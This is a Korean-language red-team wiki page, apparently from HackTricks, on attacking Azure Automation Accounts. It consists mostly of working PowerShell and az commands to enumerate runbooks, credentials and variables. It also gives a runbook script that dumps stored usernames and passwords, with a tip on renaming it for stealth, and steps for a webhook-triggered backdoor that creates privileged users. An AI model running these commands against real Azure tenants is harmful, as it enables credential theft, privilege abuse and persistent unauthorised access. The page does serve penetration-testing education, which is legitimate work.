Az - Automation Account

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

문서에서 찾아보기: Azure Automation은 클라우드 기반 자동화, 운영 체제 업데이트 및 구성 서비스를 제공하여 Azure 및 비 Azure 환경에서 일관된 관리를 지원합니다. 프로세스 자동화, 구성 관리, 업데이트 관리, 공유 기능 및 이종 기능이 포함됩니다.

이는 Azure의 "예약된 작업"으로, Azure 환경을 관리, 확인 및 구성하기 위해 작업(동작 또는 스크립트)을 실행할 수 있게 해줍니다.

실행 계정

실행 계정을 사용하면 자체 서명된 인증서로 Azure AD 응용 프로그램을 생성하고, 서비스 주체를 생성하며, 현재 구독의 계정에 기여자 역할을 할당합니다(많은 권한). Microsoft는 자동화 계정에 관리 ID를 사용하는 것을 권장합니다.

이는 2023년 9월 30일에 제거되고 관리 ID로 변경될 예정입니다.

Runbooks 및 작업

Runbooks를 사용하면 임의의 PowerShell 코드를 실행할 수 있습니다. 이는 공격자가 연결된 주체의 권한을 도용하는 데 사용될 수 있습니다. Runbooks코드에서는 자격 증명과 같은 민감한 정보도 찾을 수 있습니다.

작업읽을 수 있다면, 실행의 출력(민감한 정보의 가능성)을 포함하므로 읽어보세요.

자동화 계정으로 이동 --> <선택한 자동화 계정> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbook은 Azure 내부의 컨테이너 또는 Hybrid Worker(비 Azure 기계)에서 실행될 수 있습니다. Log Analytics Agent가 VM에 배포되어 하이브리드 워커로 등록됩니다. 하이브리드 워커 작업은 Windows에서 SYSTEM으로, Linux에서 nxautomation 계정으로 실행됩니다. 각 하이브리드 워커는 하이브리드 워커 그룹에 등록됩니다.

따라서 Windows Hybrid Worker에서 Runbook을 실행할 수 있다면 외부 기계에서 System으로 임의의 명령을 실행할 수 있습니다(좋은 피벗 기법).

구성 상태 구성 (SC) 침해

문서에서 찾아보기: Azure Automation 상태 구성은 Azure 구성 관리 서비스로, 클라우드 또는 온-프레미스 데이터 센터의 노드에 대한 PowerShell Desired State Configuration (DSC) 구성을 작성, 관리 및 컴파일할 수 있게 해줍니다. 이 서비스는 DSC 리소스를 가져오고, 대상 노드에 구성을 할당하며, 모두 클라우드에서 수행합니다. Azure 포털에서 Azure Automation 상태 구성에 액세스하려면 구성 관리 아래의 **상태 구성 (DSC)**를 선택하세요.

이러한 구성에서 민감한 정보를 찾을 수 있습니다.

RCE

SC를 남용하여 관리되는 기계에서 임의의 스크립트를 실행할 수 있습니다.

pageAz - State Configuration RCE

열거

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

런북 생성

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

실행 북을 사용하여 자동화 계정에 정의된 자격 증명 및 변수 유출하기

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

동일한 작업을 수행하여 기존의 Run Book을 수정하거나 웹 콘솔에서 수행할 수도 있습니다.

자동화된 고도의 권한을 가진 사용자 생성 설정 단계

1. 자동화 계정 초기화

  • 동작 필요: 새로운 자동화 계정을 생성합니다.

  • 구체적인 설정: "Azure Run As 계정 생성"이 활성화되어 있는지 확인합니다.

2. Runbook 가져오기 및 설정

  • 소스: MicroBurst GitHub Repository에서 샘플 Runbook을 다운로드합니다.

  • 동작 필요:

  • Runbook을 자동화 계정에 가져옵니다.

  • 실행 가능하도록 Runbook을 게시합니다.

  • 외부 트리거를 활성화하기 위해 Runbook에 웹훅을 연결합니다.

3. AzureAD 모듈 구성

  • 동작 필요: AzureAD 모듈을 자동화 계정에 추가합니다.

  • 추가 단계: 모든 Azure Automation 모듈이 최신 버전으로 업데이트되었는지 확인합니다.

4. 권한 할당

  • 할당할 역할:

  • 사용자 관리자

  • 구독 소유자

  • 대상: 필요한 권한을 위해 이러한 역할을 자동화 계정에 할당합니다.

5. 액세스 손실 가능성 인식

  • 참고: 이러한 자동화 구성은 구독 제어를 잃을 수 있음을 인식해야 합니다.

6. 사용자 생성 트리거

  • POST 요청을 보내어 웹훅을 트리거하여 새로운 사용자를 생성합니다.

  • 제공된 PowerShell 스크립트를 사용하되, $uri를 실제 웹훅 URL로 대체하고 $AccountInfo를 원하는 사용자 이름과 비밀번호로 업데이트합니다.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新